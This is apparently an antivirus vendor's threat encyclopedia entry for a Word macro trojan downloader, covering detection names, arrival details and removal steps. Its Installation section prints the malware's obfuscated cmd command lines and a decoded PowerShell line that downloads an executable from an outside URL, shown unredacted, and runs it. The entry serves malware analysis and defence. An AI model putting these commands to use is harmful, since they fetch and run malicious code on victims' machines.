Trojan.W97M.POWLOAD.AMS
TrojanDownloader:O97M/Donoff (MICROSOFT)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Downloaded from the Internet, Dropped by other malware
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
133,120 bytes
DOC
No
28 Dec 2018
Connects to URLs/IPs
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- cmd /c %PRogrAmDaTa:~0,1%%ProgRAmData:~9,2% /v: /c "set CBku=5pr+Ls;t7Gui\ng,fz2S=@C.PdWbe:RcEw0)/B$1TUx l(NMyvFmj8Z3AI6~a{hoD9-}'4%kO& FOR %z In ( 1 63 33 70 24 41 37 4 57 22 29 59 0 15 39 70 2 70 19 32 19 19 57 72 46 46 56 47 32 29 59 66 69 15 39 70 62 70 40 32 47 24 29 59 66 55 15 39 70 44 44 43 38 17 18 18 8 20 68 13 39 69 69 68 6 38 62 69 34 58 20 13 28 33 66 63 27 52 28 31 7 43 46 28 7 23 26 28 27 22 44 11 28 13 7 6 38 2 18 53 34 20 68 62 7 7 1 29 36 36 16 2 28 28 23 25 11 28 14 63 60 44 28 42 23 31 63 51 36 55 18 53 65 16 71 52 5 25 16 48 10 55 23 27 11 13 68 23 19 1 44 11 7 45 68 21 68 35 6 38 52 18 53 65 20 68 11 69 69 65 68 6 38 4 8 69 18 43 20 43 68 0 69 8 68 6 38 17 55 18 18 20 68 63 55 55 34 68 6 38 52 65 55 34 20 38 28 13 49 29 1 10 27 44 11 31 3 68 12 68 3 38 4 8 69 18 3 68 23 28 42 28 68 6 16 63 2 28 60 31 62 45 38 17 65 18 0 43 11 13 43 38 2 18 53 34 35 61 7 2 48 61 38 62 69 34 58 23 64 63 33 13 44 63 60 25 50 11 44 28 45 38 17 65 18 0 15 43 38 52 65 55 34 35 6 38 33 53 8 18 20 68 56 18 53 55 68 6 57 16 43 45 45 9 28 7 66 57 7 28 51 43 38 52 65 55 34 35 23 44 28 13 14 7 62 43 66 14 28 43 53 34 34 34 34 35 43 61 57 13 49 63 71 28 66 57 7 28 51 43 38 52 65 55 34 6 38 54 65 65 69 20 68 22 0 55 8 68 6 27 2 28 60 71 6 67 67 31 60 7 31 62 61 67 67 38 30 58 8 58 20 68 33 39 0 18 68 6 81) DO SEt 2fvq=!2fvq!!CBku:~ %z, 1!&&if %z == 81 ecHo !2fvq:~ -408!| FOR /F "delims=TFSH tokens=1" %J IN ('ftype^^^|findstr mdFi')DO %J "
- CmD /v: /c "set CBku=5pr+Ls;t7Gui\ng,fz2S=@C.PdWbe:RcEw0)/B$1TUx l(NMyvFmj8Z3AI6~a{hoD9-}'4%kO& FOR %z In ( 1 63 33 70 24 41 37 4 57 22 29 59 0 15 39 70 2 70 19 32 19 19 57 72 46 46 56 47 32 29 59 66 69 15 39 70 62 70 40 32 47 24 29 59 66 55 15 39 70 44 44 43 38 17 18 18 8 20 68 13 39 69 69 68 6 38 62 69 34 58 20 13 28 33 66 63 27 52 28 31 7 43 46 28 7 23 26 28 27 22 44 11 28 13 7 6 38 2 18 53 34 20 68 62 7 7 1 29 36 36 16 2 28 28 23 25 11 28 14 63 60 44 28 42 23 31 63 51 36 55 18 53 65 16 71 52 5 25 16 48 10 55 23 27 11 13 68 23 19 1 44 11 7 45 68 21 68 35 6 38 52 18 53 65 20 68 11 69 69 65 68 6 38 4 8 69 18 43 20 43 68 0 69 8 68 6 38 17 55 18 18 20 68 63 55 55 34 68 6 38 52 65 55 34 20 38 28 13 49 29 1 10 27 44 11 31 3 68 12 68 3 38 4 8 69 18 3 68 23 28 42 28 68 6 16 63 2 28 60 31 62 45 38 17 65 18 0 43 11 13 43 38 2 18 53 34 35 61 7 2 48 61 38 62 69 34 58 23 64 63 33 13 44 63 60 25 50 11 44 28 45 38 17 65 18 0 15 43 38 52 65 55 34 35 6 38 33 53 8 18 20 68 56 18 53 55 68 6 57 16 43 45 45 9 28 7 66 57 7 28 51 43 38 52 65 55 34 35 23 44 28 13 14 7 62 43 66 14 28 43 53 34 34 34 34 35 43 61 57 13 49 63 71 28 66 57 7 28 51 43 38 52 65 55 34 6 38 54 65 65 69 20 68 22 0 55 8 68 6 27 2 28 60 71 6 67 67 31 60 7 31 62 61 67 67 38 30 58 8 58 20 68 33 39 0 18 68 6 81) DO SEt 2fvq=!2fvq!!CBku:~ %z, 1!&&if %z == 81 ecHo !2fvq:~ -408!| FOR /F "delims=TFSH tokens=1" %J IN ('ftype^^^|findstr mdFi')DO %J "
- C:\Windows\system32\cmd.exe /S /D /c" ecHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $z227='n144';$h406=new-object Net.WebClient;$r280='http://free.diegoalex.com/3289fkjsdfyu3.bin'.Split('@');$j289='i449';$L742 = '547';$z322='o330';$j930=$env:public+'\'+$L742+'.exe';foreach($z925 in $r280){try{$h406.DownloadFile($z925, $j930);$w872='A283';If ((Get-Item $j930).length -ge 80000) {Invoke-Item $j930;$Z994='C537';break;}}catch{}}$R676='w152';";
- C:\Windows\system32\cmd.exe /S /D /c" FOR /F "delims=TFSH tokens=1" %J IN ('ftype^|findstr mdFi') DO %J "
- C:\Windows\system32\cmd.exe /c ftype|findstr mdFi
- C:\Windows\system32\cmd.exe /S /D /c" ftype"
- findstr mdFi
- Cmd
Other Details
This Trojan connects to the following possibly malicious URL:
- http://{BLOCKED}egoalex.com
SOLUTION
9.800
19.782.03
17 Dec 2024
19.783.00
18 Dec 2024
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.POWLOAD.AMS. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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